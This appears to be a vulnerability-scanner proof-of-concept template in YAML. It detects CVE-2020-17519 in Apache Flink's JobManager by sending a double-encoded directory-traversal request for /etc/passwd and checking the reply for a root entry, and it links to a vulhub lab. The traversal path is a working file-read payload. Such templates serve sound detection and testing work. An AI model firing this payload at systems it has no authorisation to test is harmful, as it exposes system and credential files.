pocs/flink-jobmanager-cve-2020-17519-lfi.yml

name: poc-yaml-flink-jobmanager-cve-2020-17519-lfi
manual: true
transport: http
rules:
    r0:
        request:
            cache: true
            method: GET
            path: /jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc%252fpasswd
        expression: response.status == 200 && "^root:[x*]:0:0:".bmatches(response.body)
expression: r0()
detail:
    author: MaxSecurity(https://github.com/MaxSecurity)
    links:
        - https://github.com/vulhub/vulhub/tree/master/flink/CVE-2020-17519